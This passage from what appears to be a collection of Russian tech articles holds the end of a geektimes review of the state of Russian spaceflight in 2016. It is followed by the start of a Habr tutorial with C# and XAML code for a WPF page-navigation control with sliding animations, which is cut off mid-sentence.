этот план будет выполнен — компания SpaceX известна своими переносами сроков. Находящееся на четвертом месте Европейское космическое агентство тоже увеличило интенсивность пусков, пусть и ненамного. Дело в том, что оно сейчас приступило к активной фазе развертывания своей навигационной системы Galileo, и, пока созвездие в три десятка спутников не будет развернуто, ЕКА будет запускать больше ракет-носителей, чем обычно. Пятое место Индии показывает серьезный рост их космической отрасли. Впервые Индия вышла на уровень больше пяти пусков в год, из которых три ушли на завершение развертывания локальной навигационной системы IRNSS. А что же Россия? Наше третье место является следствием одного печального факта, одного нейтрального, и, как это ни парадоксально, двух хороших. Рассмотрим распределение пусков по носителям. Первый факт, печальный, состоит в падении количества коммерческих заказов по запуску спутников на геостационарную орбиту на «Протоне». Здесь смешались сразу несколько факторов. Компания ILS, продающая пуски «Протона» на мировом рынке, не попала под прямые санкции, но по политическим причинам ее привлекательность снизилась. Далее, с 2010 года на «Протоне» происходит по одной аварии в год. В 2016 году нештатная ситуация тоже была , но не привела к потере полезной нагрузки. Такая статистика и прямо отталкивает потенциальных клиентов, и повышает стоимость страховки, делая пуск более дорогим. Ну и, наконец, стоимость пуска «Протона» перестала быть сильно дешевле конкурентов. Точные суммы неизвестны, но, если следить за новостями, заказчики со своими спутниками могут как уходить с «Протона» на Falcon 9 или Ariane 5, так и переходить в обратном направлении, если, например, SpaceX начинает задерживать пуски слишком сильно. Но сохраняется надежда на то, что этот провал будет временным — в сентябрьской встрече с Владимиром Путиным глава Роскосмоса Игорь Комаров сообщил, что заключены контракты на 10 пусков «Протона» в 2018-2019 годах. Второй факт, нейтральный, заключается в смене одних ракет-носителей на другие. Это нормальный процесс, когда какие-то ракеты-носители заменяются на новые. В нулевых годах закончилась карьера «Космосов» и «Циклонов». Сейчас подходит к концу конверсионная программа «Днепр», когда боевые межконтинентальные ракеты переделывались в космические и запускали спутники. Все это — легкие ракеты, которые давали небольшой, но заметный вклад в общее количество пусков. Теперь их полезные нагрузки пересядут на новые легкие ракеты «Союз-2.1в» и «Ангару-1.2», либо будут запускаться группами или попутной нагрузкой на более грузоподъемных «Союзах». Третий факт, позитивный, состоит в том, что в России закончилось формирование крупных спутниковых группировок. Система ГЛОНАСС полностью развернута и нуждается в новых пусках только на поддержание группировки, например, в этом году ГЛОНАССов запустили всего две штуки. Появятся новые созвездия спутников — будет и больше пусков. Например, на 2017 год запланировано вывести на орбиту два спутника новой связной системы «Благовест», и еще один в 2018 или 2019. Четвертый факт, очень позитивный — наши спутники стали работать в космосе дольше. Раньше связные спутники «Стрела/Родник/Гонец» жили только один год, и их приходилось запускать буквально пачками. Зато в 2016 году не было ни одного запуска — группировка сформирована в избыточном составе, и пока не нужно ее пополнять. До середины десятых годов у нас летали разведывательные спутники с пленочными фотоаппаратами. Для возвращения пленки на Землю использовались специальные небольшие спускаемые капсулы, их число было ограничено, и спутник конструктивно не мог работать дольше нескольких месяцев. А сейчас «Персоны», «Барсы» и гражданские «Ресурсы» спокойно работают годами, пересылая цифровые фотографии по радиоканалу, и не требуют постоянной замены. Аварийность В самом общем случае можно построить график относительной аварийности по странам, разделив сумму аварийных пусков (частичный успех будем считать половиной аварии) на количество пусков по стране. Результат получается любопытный. Прежде всего нужно отметить практически нулевую аварийность Европейского космического агентства. Единственный всплеск на графике в 2014 году связан с выводом спутников связи Galileo на нерасчетную орбиту российским разгонным блоком «Фрегат», и то относится к частичному успеху — спутники в итоге перевели на рабочие орбиты, и они успешно функционируют. Что же касается США, России и Китая, их аварийность находится на сравнимом уровне и, кроме отдельных лет, не превышает 10%. Но дьявол, как обычно, прячется в деталях. На этом графике мы смешали вместе все пуски всех ракет-носителей, включая, например, так и не начавший эксплуатироваться Falcon 1 или первый и, скорее всего, последний неудачный пуск РН SPARK. В нашем же случае, кроме вполне простительных неудач РН «Старт» или «Волна» в нулевых, про которые уже все забыли, продолжают терпеть аварии «Союзы» и «Протоны», которые за десятилетия эксплуатации должны были быть отлажены вдоль и поперек, даже с учетом постоянных модернизаций. И если мы посмотрим на причины аварий, то они будут самые разные. То ошибутся в документации, зальют топлива по мерке, а в новом блоке по этой мерке на две тонны больше топлива получается. То, наоборот , каждый узел работает в границах допустимых параметров, а все они вместе выходят за границы. Пришлось поставить дополнительные датчики и потерять еще одну ракету, пока причина не была, наконец, точно установлена. Возникает ощущение «тришкиного кафтана» — проблема всплывает в одном месте, ее латают, тем временем в другом месте ослабевает контроль, и возникает новая проблема уже там. Учитывая сложность космической техники это неудивительно — для безаварийной работы приходится поддерживать высокое качество везде, и наша космонавтика справляется с этим с переменным успехом. Осторожный оптимизм внушает то, что в последнее время причины аварий оказываются сложными — простые недосмотры вроде бы научились ловить. Что же касается недавней аварии «Прогресса МС-04», то аварийная комиссия еще продолжает работу. По неподтвержденным слухам с форума журнала «Новости космонавтики» телеметрия пропала не внезапно, «Прогресс» по непонятным причинам успел отделиться, и уже потом третья ступень со все еще работающим двигателем догнала его и ударила. Сценарий аварии не ложится на штатную работу систем, поэтому причина, похоже, окажется достаточно комплексной. Отдельное беспокойство вызывает то, что по такому сценарию авария становится похожей на аварию «Прогресса М-27М» в 2015. В том случае причиной назвали «частотно-динамические характеристики связки» «Прогресса» и третьей ступени, и сейчас возникают некоторые сомнения в правильности ее определения. Экипажи МКС В начале осени появилась новость о том, что российский экипаж МКС сократят с трех человек до двух. Причина проста — выделяемые на федеральную космическую программу деньги сокращают, пришлось убрать один грузовой «Прогресс» в год, а без него припасов на трех космонавтов не хватит. Самый тяжелый удар это решение нанесло по российскому отряду космонавтов. Уже запланированные экипажи (а совместные тренировки начинаются за годы до полета) перетрясли. Но хуже всего то, что если раньше своей очереди на полет нужно было ждать примерно 9-10 лет, то теперь этот срок еще увеличился. Разумно, что на таком фоне перенесли отбор в космонавты, который ожидался в 2016 году — новичкам пришлось бы ждать своей очереди неоправданно долго. Но нет худа без добра. Существующая схема, когда космонавты и астронавты стартовали и садились на одном «Союзе», занимая все три места, делала невозможным космический туризм. С сокращенным экипажем одно место можно будет продавать где-то за 50 миллионов долларов, привозить туриста на одном «Союзе» с новым экипажем и через несколько дней возвращать на Землю на другом «Союзе» с закончившим вахту экипажем. Подобная схема успешно использовалась в нулевых годах. Весной 2017 в третьем кресле полетит грузовой контейнер, потому что для перехода на новую схему нужно время, а уже в августе 2017 может полететь первый после долгого перерыва космический турист. «Ангара» Году в 2014 будущее российских ракет-носителей выглядело ясным. Старые и ядовитые «Днепры», «Рокоты» и «Протоны» будут сниматься со сцены, а их место займет новая и экологичная «Ангара». Ее универсальные ракетные модули будут печься как пирожки, быстро и дешево, и она будет стартовать часто в разных конфигурациях. Но спустя два года ситуация выглядит гораздо более запутанной. «Протон» отчаянно отказывается уходить на пенсию, наоборот, у него появятся облегченные версии. «Ангара» после дебютных полетов в 2014 пока не начала регулярно летать, и у нее уже начинают появляться конкуренты в виде проекта «Феникс/Сункар». На 2017 год запланирован один пуск «Ангары» в легком варианте. В 2018 и 2019 есть планы выводить на легкой «Ангаре» спутники связи «Гонец». Геостационарный AngoSat, который планировалось запускать на тяжелой «Ангаре», по последним новостям пересел на «Зенит» «Морского старта» и будет запущен 15 июля 2017. Такие темпы достаточно тревожны. «Ангара» не может стать российской «Delta-IV» — тяжелой и дорогой ракетой для государственных пусков, на это банально нет денег. А ситуация, при которой она будет летать только в легком варианте, станет фактически провалом интересного и перспективного с инженерной точки зрения проекта. На конец 2016 года будущее «Ангары» выглядит далеко не безоблачным, но в истории космонавтики бывали разные выверты, и окончательно списывать ее со счетов рано. МЛМ «Наука» Еще одна долгая и печальная история — многофункциональный лабораторный модуль «Наука», который изначально должен был стартовать в 2013 году, съезжает уже на 2018. В первой половине 2013 года при подготовке к пуску в трубопроводах модуля было обнаружено загрязнение, и МЛМ пришлось вернуть на доработку, на которой он находится до сих пор. Поскольку деньги на создание модуля уже давно закончились, работы по нему учитываются в бюджете как модернизация. МКС по плану прослужит до 2024 года, поэтому, если «Науку» запустят в 2018, то модуль успеет проработать в составе станции всего шесть лет, что мало по нынешним меркам. К тому же, на фоне сокращения бюджета на космонавтику работы по «Науке» могут быть на какое-то время остановлены, что еще сдвинет сроки вправо. Не удивлюсь, если в итоге «Наука» станет базовым модулем орбитальной лунной станции в середине-конце 2020-х, планы создания которой сейчас обсуждаются. Ситуация в Центре имени Хруничева В начале ноября на pikabu появился рассказ сотрудника Центра имени Хруничева о плохом управлении и потенциально коррупционных действиях. В конце ноября прошла информация , что Следственный комитет РФ возбудил дело о хищении 300 миллионов рублей в ЦиХ. А в качестве инсайдов идут вот такие вот анонимные стихи на ветке. Проблемы ЦиХ связаны и с другими печальными фактами — Центр имени Хруничева делает «Протон» и «Ангару», и именно из него приехал в РКК «Энергия» модуль «Наука» с загрязненными трубопроводами. Создается ощущение, что в последние годы в ЦиХ руководству не хватает компетентности и добросовестности. Остается только надеяться, что совместная работа Следственного комитета и преобразованного в госкорпорацию Роскосмоса сможет навести некоторый порядок на этом предприятии. Научные аппараты Проблемой продолжает оставаться тот факт, что у России не получилось запустить ни одной своей межпланетной станции. «Марс-96» в 1996 году и «Фобос-Грунт» в 2011 не улетели дальше земной орбиты. К сожалению, еще как минимум три года эта ситуация останется без изменений. Но в то же время нельзя сказать, что Россия не принимает никакого участия в исследовании Солнечной системы космическими аппаратами. Дело в том, что российские научные приборы стоят на межпланетных аппаратах других стран. Самыми известными из них являются нейтронные детекторы , которые ищут водород в виде водяного льда на других небесных телах. С 2001 года вокруг Марса на аппарате Mars Odyssey крутится российский детектор HEND. Водяной лед в полярных областях Луны нашел работающий с 2009 года детектор LEND, стоящий на зонде LRO. На знаменитом марсоходе Curiosity стоит российский прибор DAN. Ну и, наконец, на прилетевшем к Марсу в октябре 2016 аппарате TGO стоят наш нейтронный детектор FREND и спектрометр ACS. Кроме установки своих приборов на иностранные аппараты, Россия входит в кооперацию с другими космическими агентствами. В 2003 году на российской ракете «Союз» к Марсу отправился зонд Mars Express, успешно работающий до сих пор. Здесь сотрудничество было минимальным — ЕКА просто купило пусковые услуги. Зато стартовавшая в 2016 году миссия «Экзомарс» уже проводится в более тесном сотрудничестве — Россия предоставляет пусковые услуги, производит некоторые научные приборы, будет делать посадочную платформу для марсохода 2020 года и даже принимать информацию через свои наземные антенные комплексы. Что же касается российских межпланетных станций, самый актуальный план, наверное, был показан на Заседании Совета РАН по космосу 17 ноября 2016 года, в секции «Планеты и малые тела Солнечной системы». Настоящее положение дел Публикация получается большой, а тема — достаточно холиварной. Некоторые читатели предпочитают сразу начинать однотипно стенать в комментариях. Поэтому я размещу здесь небольшой «тест на вшивость». Те, кто напишут комментарий с известной фотографией бюста Гагарина и подписью «Прости, Юра, мы всё прое...», не читали материал. Потому что Россия: Занимает в 2016 году третье место после США и Китая по количеству космических запусков. Занимает третье место по количеству активных космических аппаратов на земной орбите (после США и Китая). Если описывать спутниковую группировку России одним словом, это будет «прагматизм» — у нас есть связные, навигационные, метеорологические, военные спутники и спутники дистанционного зондирования Земли в различных диапазонах. Эксплуатирует второй по размеру сегмент Международной космической станции (после США) Вместе с Китаем как минимум до 2018 года будет являться одной из двух стран, способных вывести на орбиту человека. В 2018 году ожидаются первые полеты американских пилотируемых кораблей. Еще несколько лет вместе с США будет являться одной из двух стран с глобальной навигационной системой. Сейчас глобальные навигационные системы также разрабатывают Китай и ЕКА. Имеет два космодрома на своей территории (Плесецк, Восточный), арендует третий (Байконур) и продает свои ракеты на четвертый (Куру). Имеет ракеты-носители в диапазоне от легких до тяжелых, способна выводить спутники самостоятельно и зарабатывать на пусковых услугах. На этом фоне говорить о том, что все совсем плохо, и хоронить нашу космонавтику, прямо скажем, некорректно. Светлое будущее Хочется закончить на позитивной ноте, поэтому я составил небольшой список потенциально прорывных российских технологий. Все они, в лучшем случае, находятся в экспериментальной стадии, могут долго разрабатываться и, поскольку будущего мы не знаем, могут и оказаться тупиковыми путями технологии. Но пока что они выглядят очень многообещающе. Транспортно-энергетический модуль или, говоря простым языком, ядерный реактор с электрореактивными двигателями. Ядерный реактор дает уникальную плотность энергии, а электрореактивные двигатели обеспечивают непревзойденный удельный импульс, позволяя летать гораздо более эффективно, чем на химических двигателях. Его разрабатывают уже долго, недавно проходили слухи о закрытии проекта, но, по последним новостям , работы продолжаются, и, пусть и не так скоро, как хотелось бы, уникальный аппарат может оказаться на орбите. Детонационный двигатель . У всех существующих ракетных двигателей топливо горит. Но если в камере сгорания будет распространяться сверхзвуковая ударная волна, то топливо будет взрываться, детонировать. Такой двигатель будет называться детонационным. Теоретически, взрыв топлива должен обеспечить более высокий удельный импульс, чем горение, и детонационный двигатель будет давать большее приращение скорости на то же количество потраченного топлива. Точные цифры пока не называются, но видео испытаний в сети уже есть. Метановые двигатели . Тренд начала 21 века — повторное использование ракет-носителей. Что из этого получится — никто пока не знает , но, на всякий случай, лучше быть готовым к возможной технологической революции. И метановые двигатели, будучи проще водородных и не требуя больших баков под топливо (водород имеет низкую плотность, поэтому даже в жидком виде занимает большой объем), вполне могут стать мейнстримом ракетостроения. У России есть такие двигатели, на фото выше испытания демонстратора РД0110МД. Гиперзвуковые двигатели . Пока что они испытываются военными в тайне, и на фото выше старый проект «Холод» 90-х годов. Но, судя по новостям, испытания успешны, и через пару десятков лет гиперзвуковые двигатели вполне могут прийти и в гражданскую космонавтику. А там они были бы очень полезны, позволив сделать «Спираль» 21 века так, как ее задумывали в двадцатом, или, например, собрать проект из специализированных ступеней . Заключение На мой взгляд, у вашей страны не будет проблем в космонавтике только в одном случае — если вы играете в «Цивилизацию» на самом легком уровне сложности. Уже на средней сложности у вас не будет хватать ресурсов на все желания, что уж говорить о реальном мире. У российской космонавтики хватает проблем, местами она сдала позиции, и можно сказать, что переживает кризис. Но хоронить ее категорически неправильно, и из этого кризиса наша космонавтика вполне может выйти краше, чем была.
https://geektimes.ru/post/283810/
habrahabr
WPF — Floppy Pages
['wpf', 'c#', 'xaml']
Реализация нового Frame в стиле IOS Или проще говоря — Frame в стиле Modern UI. Здравствуйте. Меня зовут Андрей и я очень устал пользоваться стандартным VK на Windows 10. Его горизонтальная...
Реализация нового Frame в стиле IOS Или проще говоря — Frame в стиле Modern UI. Здравствуйте. Меня зовут Андрей и я очень устал пользоваться стандартным VK на Windows 10. Его горизонтальная навигация меня утомила и как то она не вписывается в общий дизайн. Ещё очень давно хотел реализовать такое дело, а именно: плавная навигация как на iPhone. Для чего? Для того, что я хочу сделать свой VK клиент на WPF. Для начала покажу общую картину: Можно сделать вывод, что такой подход будет очень удобным. DataContext между страницами будет передаваться через конструктор, но дальше будет интереснее. Начну с namespace UFC.UI. Так как на каждой странице может находиться несколько кнопок, то мне пришлось создать интерфейс: interface IFloppyPage public delegate void FloppyPageNavigateEventHandler(IFloppyPage page, FloppyPageEventArgs e); public delegate void FloppyPageGoBackEventHandler(FloppyPageEventArgs e); public class FloppyPageEventArgs : EventArgs { public FloppyPageEventArgs() { } } public interface IFloppyPage { event FloppyPageNavigateEventHandler Navigate; event FloppyPageGoBackEventHandler GoBack; IFloppyPages IFloppyPages { get; set; } string Title { get; set; } } Каждая страница наследует этот интерфейс и получает очень удобное дополнение. partial class Page1 : Page, IFloppyPage public partial class Page1 : Page, IFloppyPage { public event FloppyPageNavigateEventHandler Navigate; public event FloppyPageGoBackEventHandler GoBack; public IFloppyPages IFloppyPages { get; set; } public Page1() : this(null) { } public Page1(object dataContext) { InitializeComponent(); if (dataContext != null) this.DataContext = dataContext; else this.DataContext = this; Title = "Первая страница"; } private void NavigateTo_MainPage(object sender, RoutedEventArgs e) { if (Navigate != null) Navigate(new MainPage(DataContext), new FloppyPageEventArgs()); } private void NavigateTo_Page2(object sender, RoutedEventArgs e) { if (Navigate != null) Navigate(new Page2(DataContext), new FloppyPageEventArgs()); } private void NavigateTo_Page3(object sender, RoutedEventArgs e) { if (Navigate != null) Navigate(new Page3(DataContext), new FloppyPageEventArgs()); } private void Button_GoBack(object sender, RoutedEventArgs e) { if (GoBack != null) GoBack(new FloppyPageEventArgs()); } } Теперь плавно можно подойти к интересному. Здесь затронут интерфейс IFloppyPages. Конечно его можно было бы по другому назвать, но я выбрал именно такое название. Его функция ни чем не отличается от DataContext. Такое решение сделано для того, что бы в будущем мы могли использовать DataContext в других целях (mvvm, binding, commands и т.д.) Собственно, вот его реализация: interface IFloppyPages public interface IFloppyPages { IFloppyPage FirstPage { get; set; } IFloppyPage CurrentPage { get; set; } int JournalCount { get; set; } void Navigate(IFloppyPage page); bool GoBack(); bool CanGoBack { get; set; } } Пожалуй теперь можно взглянуть на xaml разметку этого элемента управления: local:FloppyPages <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:local="clr-namespace:UFC.UI.Controls"> <Thickness x:Key="Dynamic.ThicknessAnimation.Margin">10, 0, -10, 0</Thickness> <Style TargetType="local:FloppyPages"> <Style.Setters> <Setter Property="Template"> <Setter.Value> <ControlTemplate TargetType="local:FloppyPages"> <Grid Name="mainGrid"> <Grid Name="grid1"> <Frame Name="frame1" NavigationUIVisibility="Hidden"/> </Grid> <Grid Name="grid2"> <Frame Name="frame2" NavigationUIVisibility="Hidden"/> </Grid> <Grid.Resources> <BeginStoryboard x:Key="grid1Animation"> <Storyboard> <ThicknessAnimation Duration="0:0:0.8" Storyboard.TargetName="grid1" Storyboard.TargetProperty="Margin" From="{DynamicResource Dynamic.ThicknessAnimation.Margin}" To="0"> <ThicknessAnimation.EasingFunction> <ElasticEase EasingMode="EaseOut" Oscillations="1"/> </ThicknessAnimation.EasingFunction> </ThicknessAnimation> <ThicknessAnimation Duration="0:0:0.8" Storyboard.TargetName="grid2" Storyboard.TargetProperty="Margin" From="0" To="-100, 20, 100, 20"> <ThicknessAnimation.EasingFunction> <ElasticEase EasingMode="EaseOut" Oscillations="1"/> </ThicknessAnimation.EasingFunction> </ThicknessAnimation> </Storyboard> </BeginStoryboard> <BeginStoryboard x:Key="grid2Animation"> <Storyboard> <ThicknessAnimation Duration="0:0:0.8" Storyboard.TargetName="grid2" Storyboard.TargetProperty="Margin" From="{DynamicResource Dynamic.ThicknessAnimation.Margin}" To="0"> <ThicknessAnimation.EasingFunction> <ElasticEase EasingMode="EaseOut" Oscillations="1"/> </ThicknessAnimation.EasingFunction> </ThicknessAnimation> <ThicknessAnimation Duration="0:0:0.8" Storyboard.TargetName="grid1" Storyboard.TargetProperty="Margin" From="0" To="-100, 20, 100, 20"> <ThicknessAnimation.EasingFunction> <ElasticEase EasingMode="EaseOut" Oscillations="1"/> </ThicknessAnimation.EasingFunction> </ThicknessAnimation> </Storyboard> </BeginStoryboard> <BeginStoryboard x:Key="grid3Animation"> <Storyboard> <ThicknessAnimation Duration="0:0:0.8" Storyboard.TargetName="grid1" Storyboard.TargetProperty="Margin" From="0" To="{DynamicResource Dynamic.ThicknessAnimation.Margin}"> <ThicknessAnimation.EasingFunction> <ElasticEase EasingMode="EaseOut" Oscillations="1"/> </ThicknessAnimation.EasingFunction> </ThicknessAnimation> <ThicknessAnimation Duration="0:0:0.8" Storyboard.TargetName="grid2" Storyboard.TargetProperty="Margin" From="-100, 20, 100, 20" To="0"> <ThicknessAnimation.EasingFunction> <ElasticEase EasingMode="EaseOut" Oscillations="1"/> </ThicknessAnimation.EasingFunction> </ThicknessAnimation> </Storyboard> </BeginStoryboard> <BeginStoryboard x:Key="grid4Animation"> <Storyboard> <ThicknessAnimation Duration="0:0:0.8" Storyboard.TargetName="grid2" Storyboard.TargetProperty="Margin" From="0" To="{DynamicResource Dynamic.ThicknessAnimation.Margin}"> <ThicknessAnimation.EasingFunction> <ElasticEase EasingMode="EaseOut" Oscillations="1"/> </ThicknessAnimation.EasingFunction> </ThicknessAnimation> <ThicknessAnimation Duration="0:0:0.8" Storyboard.TargetName="grid1" Storyboard.TargetProperty="Margin" From="-100, 20, 100, 20" To="0"> <ThicknessAnimation.EasingFunction> <ElasticEase EasingMode="EaseOut" Oscillations="1"/> </ThicknessAnimation.EasingFunction> </ThicknessAnimation> </Storyboard> </BeginStoryboard> </Grid.Resources> </Grid> </ControlTemplate> </Setter.Value> </Setter> </Style.Setters> </Style> </ResourceDictionary> Очень надеюсь, что вам удастся понять мой алгоритм. Всё самое непонятное постараюсь объяснить после кода внизу страницы. Теперь приведу весь код этого элемента управления: UFC.UI & UFC.UI.Controls using System; using System.Collections.Generic; using System.ComponentModel; using System.Windows; using System.Windows.Controls; using System.Windows.Media.Animation; namespace UFC.UI { #region DefaultPage /// <summary> /// Страница по умолчанию. /// </summary> internal class DefaultPage : IFloppyPage { public event FloppyPageNavigateEventHandler Navigate; public event FloppyPageGoBackEventHandler GoBack; public IFloppyPages IFloppyPages { get; set; } public string Title { get; set; } public DefaultPage() { Title = "Страница по умолчанию"; } } #endregion #region IFloppyPage public delegate void FloppyPageNavigateEventHandler(IFloppyPage page, FloppyPageEventArgs e); public delegate void FloppyPageGoBackEventHandler(FloppyPageEventArgs e); public class FloppyPageEventArgs : EventArgs { public FloppyPageEventArgs() { } } public interface IFloppyPage { event FloppyPageNavigateEventHandler Navigate; event FloppyPageGoBackEventHandler GoBack; IFloppyPages IFloppyPages { get; set; } string Title { get; set; } } #endregion #region IFloppyPages public interface IFloppyPages { IFloppyPage FirstPage { get; set; } IFloppyPage CurrentPage { get; set; } int JournalCount { get; set; } void Navigate(IFloppyPage page); bool GoBack(); bool CanGoBack { get; set; } } #endregion } namespace UFC.UI.Controls { #region FloppyPages public class FloppyPages : Control, IFloppyPages, INotifyPropertyChanged { #region Private Members private bool GridNumber = false; private bool IsDoneAnimation = true; private bool IsDoneInitialization = false; private List<IFloppyPage> journal = new List<IFloppyPage>(); private Frame frame1 = null; private Frame frame2 = null; private Grid mainGrid = null; private Grid grid1 = null; private Grid grid2 = null; private BeginStoryboard animation1 = null; private BeginStoryboard animation2 = null; private BeginStoryboard animation3 = null; private BeginStoryboard animation4 = null; #endregion #region Constructors static FloppyPages() { DefaultStyleKeyProperty.OverrideMetadata(typeof(FloppyPages), new FrameworkPropertyMetadata(typeof(FloppyPages))); FloppyPages.NavigatedRoutedEvent = EventManager.RegisterRoutedEvent("Navigated", RoutingStrategy.Bubble, typeof(RoutedEventHandler), typeof(FloppyPages)); FloppyPages.WentBackRoutedEvent = EventManager.RegisterRoutedEvent("WentBack", RoutingStrategy.Bubble, typeof(RoutedEventHandler), typeof(FloppyPages)); } public FloppyPages() { } #endregion #region Public Dependency Properties public static readonly DependencyProperty FirstPageProperty = DependencyProperty.RegisterAttached("FirstPage", typeof(IFloppyPage), typeof(FloppyPages)); #endregion #region Public Properties public IFloppyPage FirstPage { get { return (IFloppyPage)GetValue(FirstPageProperty); } set { SetValue(FirstPageProperty, value); OnFirstPage(FirstPage); OnPropertyChanged("FirstPage"); } } #endregion #region Public RoutedEvents public static readonly RoutedEvent NavigatedRoutedEvent; public static readonly RoutedEvent WentBackRoutedEvent; #endregion #region Public Events public event RoutedEventHandler Navigated { add { base.AddHandler(FloppyPages.NavigatedRoutedEvent, value); } remove { base.RemoveHandler(FloppyPages.NavigatedRoutedEvent, value); } } public event RoutedEventHandler WentBack { add { base.AddHandler(FloppyPages.WentBackRoutedEvent, value); } remove { base.RemoveHandler(FloppyPages.WentBackRoutedEvent, value); } } #endregion #region Public Members public IFloppyPage CurrentPage { get { if (journal.Count > 0) return journal[journal.Count - 1]; else return null; } set { /*Использую Binding*/ } } public int JournalCount { get { return journal.Count; } set { /*Использую Binding*/ } } public void Navigate(IFloppyPage page) { Start_Navigate(page); } public bool GoBack() { return Start_GoBack(); } public bool CanGoBack { get { if (journal.Count > 1) return true; else return false; } set { /*Использую Binding*/ } } #endregion #region Private OnFirstPage private void OnFirstPage(IFloppyPage page) { if (page != null && IsDoneInitialization) { if (GridNumber) frame1.Navigate(page); else frame2.Navigate(page); page.Navigate += Page_Navigate; page.GoBack += Page_GoBack; journal.Clear(); journal.Add(page); OnPropertyChanged("JournalCount"); OnPropertyChanged("CanGoBack"); OnPropertyChanged("CurrentPage"); } } #endregion #region Public OnApplyTemplate public override void OnApplyTemplate() { base.OnApplyTemplate(); mainGrid = GetTemplateChild("mainGrid") as Grid; grid1 = GetTemplateChild("grid1") as Grid; if (grid1 != null) grid1.Margin = new Thickness(0); grid2 = GetTemplateChild("grid2") as Grid; if (grid2 != null) grid2.Margin = new Thickness(this.ActualWidth, 0, (-1 * this.ActualWidth), 0); frame1 = GetTemplateChild("frame1") as Frame; frame2 = GetTemplateChild("frame2") as Frame; animation1 = mainGrid.Resources["grid1Animation"] as BeginStoryboard; animation2 = mainGrid.Resources["grid2Animation"] as BeginStoryboard; animation3 = mainGrid.Resources["grid3Animation"] as BeginStoryboard; animation4 = mainGrid.Resources["grid4Animation"] as BeginStoryboard; if (animation1 != null) if (animation1.Storyboard != null) animation1.Storyboard.Completed += NewGridMargin_Completed; if (animation2 != null) if (animation2.Storyboard != null) animation2.Storyboard.Completed += NewGridMargin_Completed; if (animation3 != null) if (animation3.Storyboard != null) animation3.Storyboard.Completed += OldGridMargin_Completed; if (animation4 != null) if (animation4.Storyboard != null) animation4.Storyboard.Completed += OldGridMargin_Completed; if (mainGrid != null) { mainGrid.SizeChanged += (sender, e) => { Application.Current.Resources["Dynamic.ThicknessAnimation.Margin"] = new Thickness(this.ActualWidth, 0, -1 * this.ActualWidth, 0); }; } IsDoneInitialization = true; FirstPage = new DefaultPage(); } #endregion #region Private Events private void Page_Navigate(IFloppyPage page, FloppyPageEventArgs e) { Start_Navigate(page); } private void Page_GoBack(FloppyPageEventArgs e) { Start_GoBack(); } private void NewGridMargin_Completed(object sender, EventArgs e) { Set_NewMargin(); } private void OldGridMargin_Completed(object sender, EventArgs e) { Set_OldMargin(); } #endregion #region Private Navigate private void Start_Navigate(IFloppyPage page) { if (page != null && IsDoneAnimation) { IsDoneAnimation = false; GridNumber = !GridNumber; page.Navigate += Page_Navigate; page.GoBack += Page_GoBack; if (!GridNumber) { animation1.Storyboard.Stop(); frame2.Navigate(page); Panel.SetZIndex(grid1, 0); Panel.SetZIndex(grid2, 1); grid2.Visibility = Visibility.Visible; animation2.Storyboard.Begin(); } else { animation2.Storyboard.Stop(); frame1.Navigate(page); Panel.SetZIndex(grid2, 0); Panel.SetZIndex(grid1, 1); grid1.Visibility = Visibility.Visible; animation1.Storyboard.Begin(); } journal.Add(page); OnPropertyChanged("JournalCount"); OnPropertyChanged("CurrentPage"); OnPropertyChanged("CanGoBack"); base.RaiseEvent(new RoutedEventArgs(FloppyPages.NavigatedRoutedEvent, this)); } } private void Set_NewMargin() { if (!GridNumber) { grid2.Margin = new Thickness(0); grid1.Margin = new Thickness(this.ActualWidth, 0, (-1 * this.ActualWidth), 0); grid1.Visibility = Visibility.Hidden; } else { grid1.Margin = new Thickness(0); grid2.Margin = new Thickness(this.ActualWidth, 0, (-1 * this.ActualWidth), 0); grid2.Visibility = Visibility.Hidden; } IsDoneAnimation = true; } #endregion #region Private GoBack private bool Start_GoBack() { if (journal.Count > 1 && IsDoneAnimation) { IsDoneAnimation = false; GridNumber = !GridNumber; journal[journal.Count - 1].Navigate -= Page_Navigate; journal[journal.Count - 1].GoBack -= Page_GoBack; grid1.Visibility = Visibility.Visible; grid2.Visibility = Visibility.Visible; if (!GridNumber) { animation4.Storyboard.Stop(); grid2.Margin = new Thickness(0); frame2.Navigate(journal[journal.Count - 2]); animation3.Storyboard.Begin(); } else { animation3.Storyboard.Stop(); grid1.Margin = new Thickness(0); frame1.Navigate(journal[journal.Count - 2]); animation4.Storyboard.Begin(); } journal.Remove(journal[journal.Count - 1]); OnPropertyChanged("JournalCount"); OnPropertyChanged("CurrentPage"); OnPropertyChanged("CanGoBack"); base.RaiseEvent(new RoutedEventArgs(FloppyPages.WentBackRoutedEvent, this)); return true; } else return false; } private void Set_OldMargin() { if (!GridNumber) { Panel.SetZIndex(grid1, 0); Panel.SetZIndex(grid2, 1); grid1.Margin = new Thickness(this.ActualWidth, 0, (-1 * this.ActualWidth), 0); grid1.Visibility = Visibility.Hidden; } else { Panel.SetZIndex(grid1, 1); Panel.SetZIndex(grid2, 0); grid2.Margin = new Thickness(this.ActualWidth, 0, (-1 * this.ActualWidth), 0); grid2.Visibility = Visibility.Hidden; } IsDoneAnimation = true; } #endregion #region INotifyPropertyChanged Members public event PropertyChangedEventHandler PropertyChanged; private void OnPropertyChanged(string propertyName) { PropertyChangedEventHandler handler = PropertyChanged; if (handler != null) handler(this, new PropertyChangedEventArgs(propertyName)); } #endregion } #endregion } Начну с того, что ещё ранее вы могли заметить в xaml разметке этого элемента ресурс: «Dynamic.ThicknessAnimation.Margin». И очень странно, почему там стояли такие размеры: 10,0,-10,0; На самом деле это не так важно, потому что при сборке мы автоматически подписываемся на событие SizeChanged элемента mainGrid в методе OnApplyTemplate(). if (mainGrid != null) { mainGrid.SizeChanged += (sender, e) => { Application.Current.Resources["Dynamic.ThicknessAnimation.Margin"] = new Thickness(this.ActualWidth, 0, -1 * this.ActualWidth, 0); }; } Благодаря такой реализации мы получаем элемент управления, где анимация двигается на то расстояние, на которое мы укажем, то есть просто изменив размер окна. Напомню кстати говоря, что в методе OnApplyTemplate() мы получаем ссылки на все мелкие элементы из разметки методом GetTemplateChild(«mainGrid»); Алгоритм получился таким: вы как бы видите одну страницу, потом при переходе на следующую страницу с правого края вылезает вторая страница. Первая страница уходит на задний план, затем после окончания анимации первая страница уходит в правый край где была вторая страница. Таким образом мы получаем две чередующие панели, на которых лежат frame1 и frame2. Благодаря переменной GridNumber мы проверяем, на какой grid мы попали и на каком frame поменять страницу. Так же здесь реализован журнал, но в нём ничего интересного нет. Обычный список, который удаляет IFloppyPage только после перехода «Назад» (GoBack). Да и ещё. Как только приложение начинает свою 